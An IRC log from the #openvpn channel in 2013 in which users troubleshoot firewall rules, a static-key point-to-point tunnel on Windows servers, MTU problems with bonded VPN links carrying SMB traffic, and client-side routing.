16:33 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
16:36 < Roklobsta> to get openvpn working in windows i only need to make an inbound firewall rule for 1194 right?
16:36 < Roklobsta> or do i need an outbound too?
16:40 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
16:40 -!- mode/#openvpn [+v atmosx] by krzee
16:41 -!- mode/#openvpn [+v rob0] by krzee
16:41 -!- mode/#openvpn [+v RichiH] by krzee
16:41 -!- mode/#openvpn [+vv _quadDamage oc80z] by krzee
16:47 < Skapare> for UDP it is best to make the rule for both directions
16:47 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:48 < Skapare> if you are using TCP (not recommended in most cases) you only need outbound if your firewall does tracking (most do these days)
16:48 <+pekster> It doesn't matter with the use of --pint
16:48 <+pekster> --ping
16:50 < Skapare> except for certain Sonicwall configs
16:51 <+atmosx> Roklobsta: do you have outbound rules?
16:51 <+pekster> How do you think any UDP protocol works?
16:52 <+pekster> Do you have to allow DNS in sonicwall too?
16:52 < Skapare> in those cases the tracking object expire in 15 minutes even when in use
16:52 <+pekster> Or SNMP? etc, etc
16:52 <+pekster> Oh, that's dumb
16:52 <+pekster> Broken By Design then
16:52 < Skapare> yes, and I told them that
16:52 <+pekster> "I know, let's take the wheel and make it into a triangle!"
16:53 <+pekster> I bet that's lots of fun with VoIP too
16:53 < Roklobsta> atmosx: i have set inbound rules on 1194 only from anywhere.
16:53 < Roklobsta> nothing outbound yet.
16:53 < Skapare> well, it sure messed up our video conferencing
16:53 <+pekster> Roklobsta: Unless you have a brain-dead fireall, you only need to accept the packets coming into your server; the clients will keep (properly configured!) stateful firewalls open with use of --ping in each direction
16:54 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
16:54 <+atmosx> Roklobsta: but iirc windows does not filter by default outbound connections, so you shouldn't have to.
16:54 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:54 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
16:55 < Skapare> the video conference system used boht TCP (to exchange keys then sit idle) and UDP (lossy data) ... it would ie in 15 minutes ... I spent a week trying to figure out how to make the TCP connection stay up because I was sure that was the problem ... turned out to be stupidity in UDP
16:55 < Skapare> would ie = would die
16:58 < Roklobsta> atmosx: no i didn't think outbound was filterted by defaul too
17:06 < Roklobsta> seems standard for all profiles: all inbound that don't have a rule are blocked (I have an incoming rule for 1194) and all outboudn connections that don't have a rule are allowed.
17:12 < Roklobsta> my fight migh be with the firewalls.  one is a ciscox1000 and the other a Technicolor device.
17:12 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
17:13 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
17:14 < Roklobsta> both are set to forward 1194 to the internal servers
17:14 < Roklobsta> so WTF
17:15 < EugeneKay> TCP or UDP 1194?
17:17 <@krzee> !policy
17:17 <@vpnHelper> "policy" is (#1) http://openvpn.net/howto.html#policy for Configuring client-specific rules and access policies or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules for a lil writeup by mario or (#3) dynamic OpenVPN policy github project: https://github.com/QueuingKoala/openvpn-dynamic
17:18 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
17:18 < Roklobsta> udp
17:19 < Roklobsta> following http://openvpn.net/index.php/open-source/documentation/miscellaneous/static-key-mini-howto.html
17:19 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
17:19 < Roklobsta> so it's dead simple
17:20 < Roklobsta> netstat -a -p UDP on both shows they have fw open on 0.0.0.0:1194
17:21 < Roklobsta> i just know it's one tiny thing.  but what
17:21 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
17:26 < Roklobsta> both modems have 'application' forwarding 1194 to the internal machines.
17:26 < Roklobsta> grrr
17:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
17:29 < Roklobsta> if i don't have the "remote" keyword i understand openvpn is just a listener.  if i do have the keyword does it become an initiator AND a listener or just a listnener?
17:29 <@krzee> each process can only be one or the other
17:30 <@krzee> well
17:30 <@krzee> 2 clients can each have --remote to eachother
17:30 <@krzee> for a ptp link
17:30 <@krzee> but in client/server mode you can only be one of them
17:30 <@krzee> but you can run as many instances of openvpn as you like
17:32 < Roklobsta> ok i am just using ptp
17:32 <+pekster> "generally" you still have one passively listen, and the other actively connect, but they could both be set to reach out to the other if you'd prefer
17:33 <+pekster> Depends on the design goal really
17:33 < Roklobsta> that's fine
17:33 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
17:34 < Roklobsta> simple and robust p2p is all i want
17:34 < Roklobsta> it's been 10 years since i last used openvpn
17:35 <+pekster> fwiw, you can use TLS with `--mode p2p` as well for the security benefits
17:35 <+pekster> Depends if static keyed is secure enough for your use or not really
17:35 <+pekster> Either way, the p2p configuration remains the same regardless of if you're using TLS or static-keyed crypto
17:36 < Roklobsta> yeah i just want static key for now
17:36 < Roklobsta> simple 1st
17:37 < Roklobsta> ok, both are running and the openvn gui has yellow in the icons and "connecting"
17:43 <+atmosx> !scripts
17:43 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
17:44 -!- barhom_ [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
17:46 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
17:46 -!- barhom_ is now known as barhom
17:47 < Roklobsta> interesting, one end is "green" and says inisialisation complete the other end is yellow and hasn't said that init is complete.
17:49 <+pekster> In `--mode p2p` with --static the connection is stateless so it's "completed" as soon as the system is initiated when there is no --remote host to talk to. For true stateless connections where you don't use --ping and --ping-restart both peers shoudl have a --remote directive so they can send packets without holding active state
17:50 <+pekster> Configured like that, there's no active handshake, or even keepalive traffic: encrypted packets are sent only when there is active traffic to go across the likn
17:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:52 < Roklobsta> each side has this only (with ipconfig's swapped)
17:52 < Roklobsta> remote myremote.mydomain
17:52 < Roklobsta> dev tun
17:52 < Roklobsta> ifconfig 10.8.0.2 10.8.0.1
17:52 < Roklobsta> secret static.key
17:53 < Mike--> that won't work
17:53 < Mike--> one needs to be the client
17:53 < Mike--> and the other the server
17:53 <+pekster> Not in p2p mode Mike--
17:53 <+pekster> There's no "server" or "client" in p2p like that
17:53 < Roklobsta> yeah i am using the most basic p2p mode
17:54 < Roklobsta> i am just wondering why one end took ~10 mins to say "init complete" and the other end is still waiting.
17:54 < Roklobsta> both openvpn guis are being run as "admin.."
17:54 <+pekster> Shouldn't take that long at all; what about if you run it from the command prompt, just until you get it working and then add the GUI?
17:54 < Roklobsta> yeah that's rthe next step
17:54 < Mike--> !p2p
17:55 < Roklobsta> gui schooey
17:55 < Mike--> is there a howto for p2p?
17:55 < Roklobsta> yes
17:55 < Roklobsta> http://openvpn.net/index.php/open-source/documentation/miscellaneous/static-key-mini-howto.html
17:55 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
17:55 <+pekster> Mike--: See the static key'd link near the top of !howto
17:55 <+pekster> That's the one
17:55 <+pekster> Mike--: See also:
17:55 <+pekster> !statickey
17:55 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
17:56 < Mike--> right
17:56 < Mike--> thanks
17:57 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:57 <+pekster> !learn p2p as [statickey]
17:57 <@vpnHelper> Joo got it.
17:58 < Roklobsta> ok, command like "initied" a lot quicker
17:58 < Roklobsta> someone kicked me off the rdp at the other end.
17:58 < Roklobsta> fsck
18:01 < Roklobsta> ok, command line at one end works.
18:01 < Roklobsta> they are connected
18:01 < Roklobsta> somewithing weird going on with the gui
18:01 < Roklobsta> nice, X works all the time except when it doesn't.
18:02 <+pekster> You using 2.3.2? And using the official GUI, not the old-and-not-maintained crap from openvpn DOT se?
18:03 < Roklobsta> the gui that comeas along with the installer
18:03 <+pekster> I'd expect that to work, although I don't think I've ever done stateless p2p with 2 Windows clients before
18:03 -!- MacGyver_ is now known as MacGyver
18:04 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
18:04 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
18:04 < Roklobsta> ok well at least i have the firewalls set up ok
18:05 < Roklobsta> i can ping each end from the other end
18:05 <+pekster> Yea, there's not really a lot to static keyed setups
18:05 <+pekster> Even p2p with TLS isn't that much more work (just need the PKI files and keypairs for each peer)
18:08 < Roklobsta> the plan is to set up the 3 servers in a ring
18:40 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:41 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
18:42 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
18:44 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
18:54 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:58 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:15 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
19:18 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
19:36 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:42 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
19:47 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:51 -!- raidz is now known as raidz_away
19:52 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
19:57 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:57 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
19:58 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
20:02 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
20:17 < Roklobsta> if i have multiple openvpn configs operating, do they all have to listen on their own port or can they all isten on 1194?
20:17 < Roklobsta> i mean p2p, not server->client mode
20:17 < EugeneKay> You can't have multiple listeners on the same IP:port, no.
20:17 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
20:22 < jeev> hm, i'm not sure why a windows share from office A is going so slow with B, i mean.. both together. i'm dragging a file from office A which has 50mbit upstream, i'm only getting 1.6 to 3 mbit
20:22 < jeev> but iperf.. wget is fast.
20:22 < EugeneKay> !mtu
20:22 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
20:22 < jeev> EugeneKay, i'm doing bonding, 3 vpn's
20:22 < jeev> should i mtu test with all 3
20:22 < EugeneKay> Then you're on your fucking own.
20:23 < jeev> heh
20:23 < Roklobsta> use the --beefcake option
20:23 < Roklobsta> are you using lzo compression?
20:23 < jeev> yea
20:24 < Roklobsta> EugeneKay: i didn't think so.  wasn't sure if calling openvpn.exe is a wrapper to use a core server off one port or not.  obvviously they are all independant then.
20:25 < EugeneKay> Eh
20:25 < Roklobsta> SMB is crapola on anything other than low latency local net
20:26 < jeev> yea true but.. hmm
20:26 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
20:26 < Roklobsta> can you use rsync?
20:26 < jeev> nop
20:26 < Roklobsta> try robocopy
20:27 < jeev> people in office B are trying to work off files in A.
20:27 < Roklobsta> if you have win7 or better use the multithread option
20:27 < Roklobsta> jeev: arse
20:27 < Roklobsta> jeev: i just set up DFSR for someone in that situation
20:27 < Roklobsta> works well
20:28 < jeev> i just dont know how it keeps constantly used files synced
20:28 < jeev> i was looking into branch cache
20:28 < Roklobsta> dfs with replication seems to cope.  if you have trouble with the same file being edited at the same time you can buy 3rd party file lockign programs.
20:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
20:29 < Roklobsta> ridiculous it's not built in
20:29 < Roklobsta> i just tell the clients to coordinate a little bit and only ever have one party editing a file at a time.
20:30 < Roklobsta> apart from that, if you change a file and close it dfsr gets to work right away and pushes the changes.
20:31 < Roklobsta> if too much is going on and the changes are big then it can take up to several hours for the propagations to complete.
20:31 < Roklobsta> but it's a damned sight better than trying to edit a file over a WAN/ADSL link
20:32 < jeev> bf-cbc 76717.96k 86641.15k 89860.86k 91588.95k 91944.93k
20:32 < jeev> do you think that'd effect it that much
20:32 < jeev> the CPU on these machines aren't the fastest.
20:33 < Roklobsta> router?
20:34 < jeev> yea
20:34 < jeev> well, L5420
20:36 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:38 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
20:38 < jeev> hm, turned off cipher
20:39 < jeev> wget is faster but smb still slow
20:39 < EugeneKay> Sounds like a classic mtu issue
20:40 < EugeneKay> It's passing the packets, but fragmenting them
20:40 < jeev> EugeneKay, i will break the bond and mtu test one by one
20:41 < jeev> but this hardware may be POS, i tested it with an e3-1240v3 and that got 500+ megs on aes-256-cbc
20:41 < EugeneKay> L5420 should vomit out 100+mbit no problem.
20:42 < jeev> the encryption
20:42 < EugeneKay> Plenty of jiggahurtz to play with.
20:42 < jeev> actually one of the routers is an X3220
20:43 < jeev> EugeneKay, mtu-test in both side configs?
20:43 < EugeneKay> Read the howto doc ;-)
20:44 < EugeneKay> And that's also a decent chip; remember than openvpn is single threaded, so only the single core speed really counts.
20:44 < jeev> ok
20:44 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
20:45 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:45 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
20:49  * jeev waits 3-4 minutes more..
20:49 < jeev> NOTE: Empirical MTU test completed [Tried,Actual] local->remote=[1558,1558] remote->local=[1558,1558]
20:50 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:50 < jeev> EugeneKay, dumb question, that was with cipher none, will it make a diff if i enable default cipher agin?
20:51 < EugeneKay> Not terribly much.
20:51 < EugeneKay> Really the problem is that your traffic INSIDE the tunnel is using a MTU that's too large
20:51 < EugeneKay> (at least, 99% of the time that's it)
20:51 < EugeneKay> Possibly because you're being an idiot and indiscriminately blocking ICMP
20:51 < jeev> ICMP is only blocked to public IP's
20:51 < jeev> hm
20:52 < EugeneKay> So not completely bonkers, then. ;-)
20:52 <+pekster> Well, sort of it even the RELATED ICMP errors don't get sent out
20:52 <+pekster> (as the VPN peer will be a "public IP" when used over the Internet)
20:54 < jeev> hm
20:54 < jeev> tun-mtu 1558
20:55 < jeev> i need mss-fix :)
20:55 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
20:56 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
20:57 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 264 seconds]
20:57 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 264 seconds]
20:57 < jeev> still awful
20:57 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
20:57 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
20:57 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
21:02 < jeev> should i even consider tcp?
21:03 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:03 < EugeneKay> No.
21:05 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:09 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:12 < jeev> so even when fiber is set up at the other location, it will be pointless.
21:16 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:19 -!- daBrado [znc@dabrado.net] has left #openvpn ["WeeChat 0.4.1"]
21:20 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:31 < jeev> uh
21:31 < jeev> EugeneKay?
21:31 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:31 < EugeneKay> Eh
21:31 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:32 < jeev> i dropped the other two WAN from the bonding..
21:32 < jeev> and i'm getting pretty good speeds.
21:32 < jeev> i have 3 30mbit cables. i dropped 2 and i'm maxing the 1 30mbit
21:33 < jeev> 28.48
21:33 < jeev> getting 28.48 mbit
21:35 < EugeneKay> Inside the vpn?
21:36 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:39 < jeev> yes
21:39 < jeev> i dumped the last two tap interfaces from each router's bond
21:39 < jeev> ifenslave -d bond0 tap2;ifenslave -d bond0 tap3
21:40 < jeev> what could have caused this ?
21:40 < jeev> round robin, latency and stuff?
21:41 < jeev> dont get me wrong, bonding was amazing, worked great via speedtest/mini software, iperf and wget.. but i guess it's not a good mechanism for smb since latency is important
21:41 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
21:41 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
21:44 < EugeneKay> Bonding always ends shitty over WAN links.
21:44 < EugeneKay> It's any of a dozen things, from out-of-order packet reassembly to mtu mismatches to gremlins in the line.
21:56 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:59 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:11 < jeev> EugeneKay, the bonding was fine, i was maxing out the connections, it just that SMB wasn't having it.
22:16 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
22:23 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
22:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
22:31 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
22:38 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
22:39 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
22:47 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
22:50 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
22:52 < Roklobsta> i reckon it's gremlins.
22:58 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
23:03 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
23:06 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
23:11 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
23:17 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
23:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
23:33 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
23:57 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Fri Sep 27 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:07 -!- levifig [~levifig@hakr.io] has quit [Read error: Operation timed out]
00:21 -!- levifig [~levifig@hakr.io] has joined #openvpn
00:33 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
00:48 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
00:58 < Skapare> is there a way to run openvpn (client) from a script, and have it run in the foreground so the script waits for it to exit, and have it exit if the tunnel it tries to set up fails
00:59 < Skapare> that or I need some other way for a tunnel failure event to kill openvpn and run a script
00:59 < Aketzu> don't have --daemon config parameter
00:59 < Aketzu> if tunnel fails then normally openvpn exits
00:59 < Aketzu> and openvpn can run scripts e.g. --down
01:00 < Skapare> the scenario I want to catch is mismatching keys ... so a script can go get the new keys
01:01 < Skapare> would --down work for a case where it tries to come up for the first time and fails?
01:09 < Skapare> in the server I used "server 100.81.64.0 255.255.255.0" ... which IP address should be the "via' target for that?  100.81.64.2 or .3 ?
01:10 < Skapare> for adding routes in the OS
01:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:28 < Roklobsta> ok
01:30 < Roklobsta> i have openvpn  working in a basic p2p mode on two server2008 systems.  i have static routes in the gateways to point to each others subnet and the "route" option with the opposing subnet listed.  i can ping server to server but not to machines on the subnet.  what am i missing.  routing (packet forward) on both servers is enabled.
01:35 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 260 seconds]
01:35 < Skapare> do you have any iroute settings?
01:35 < Roklobsta> brb, i RTFM again... doh
01:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.1]
01:37 < Skapare> you are using topology ptp ... but that still handles multi clients (each ptp) so there is a pool of IP at the server end ... and the openvpn server itself needs an insider routing table to know which client to send what stuff to ... even if you only have one client
01:37 < Roklobsta> no i have set the gateway route wrong.
01:37 < Roklobsta> about to test...
01:38 < Roklobsta> should be 10.8.0.1 (as in the example) not the subnet of the opposing network
01:39 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
01:42 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
01:42 -!- xrosnight_ [~quassel@116.76.169.18] has joined #openvpn
01:43 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
01:43 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
01:43 -!- master_of_master [~master_of@p4FF2435D.dip0.t-ipconnect.de] has joined #openvpn
01:45 < Skapare> looks like I need to use the "dev" option on the route command, but openvpn doesn't seem to handle that
01:46 -!- master_o1_master [~master_of@p4FF2444B.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
01:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:51 < Roklobsta> sons of bicthes it works!
01:51 < Roklobsta> that only took all day
01:53 < Skapare> I'm still trying to figure out how to push a round from the client to the server ... for the subnet located at the client
01:53 < Skapare> round=route
01:54 < Skapare> someone told me to put it in the client context at the server ... it rejected that
01:54 < Skapare> but I really need for it to be at the client since the client is the only place that knows what the subnet is
01:55 < Skapare> but ... the config does not know to which IP on the server end to route it to
01:56 < Skapare> I can add the routes manually when I discover the IPs and then it works ... this needs to be made automatic
01:57 < Skapare> e.g. configured so if the IP is different I don't have to reconfigure
01:57 < Roklobsta> you need to do what i am doing and add a set of static routes in your gateway
01:57 < Skapare> but the next time, those routes may be wrong
01:58 < Skapare> or at least the target IPs
01:59 < Skapare> I should be able to specify a network at the client, and a route for it be pushed to the server AND the correct target IP be added to that route as the push propogation happens
01:59 < Skapare> openvpn apparently does not have this feature
02:00 < Skapare> so I might need to find out how to hard code static IPs for each client, too ... probably somehow in the ccd directory
02:01 < Skapare> the subnets on the server side are easy to reach ... all the problems are from subnets on the client side ... seems openvpn developers assumed clients are single machines, not routers to more subnets
02:03 < Skapare> "--pull This  option must be used on a client which is connecting to a multi-client server." ... does not work on the server
02:04  * Skapare gives up for the night
02:11 < Roklobsta> yeah i need to rtfm more
02:19 -!- xrosnight_ is now known as xrosnight
02:19 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
02:19 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
02:20 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:31 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Ping timeout: 245 seconds]
02:33 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
02:35 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
02:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
02:38 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
02:41 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
02:42 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
02:42 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
02:42 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
02:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:04 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
03:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
03:17 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:32 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ngoevfsehcxsozzw] has quit [Ping timeout: 264 seconds]
03:33 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xwkqiksmrmksgqtj] has joined #openvpn
03:35 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
03:43 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
03:49 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
03:52 -!- lmm [uid6417@gateway/web/irccloud.com/x-tpxfvncnimzrpkdp] has quit [Ping timeout: 240 seconds]
03:53 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 264 seconds]
03:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 268 seconds]
03:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:57 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
04:07 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
04:40 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-fwjvrrjjpidypngp] has joined #openvpn
04:42 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 256 seconds]
04:45 -!- flxmmr [~quassel@p5DE95876.dip0.t-ipconnect.de] has joined #openvpn
04:48 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
04:50 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
04:51 < flxmmr> hello, i'm currently setting up a small openvpn for lan-like-gaming.  i think tap (l2) would be nice there, but i'm a bit confused, wether i need to setup the server with the server or the server-bridge config directive ? ping and ssh work well with tap and the server directive, but most lan games seem a bit picky about the right way to emulate ethernet.
04:52 -!- krapper [krapper@territory.krapper.net] has quit [Read error: Connection reset by peer]
04:52 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
04:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
05:05 < dvl> flxmmr: everything I've been told: don't use bridge unless you know you must.
05:05 < dvl> flxmmr: i.e. if you don't know, use tap.
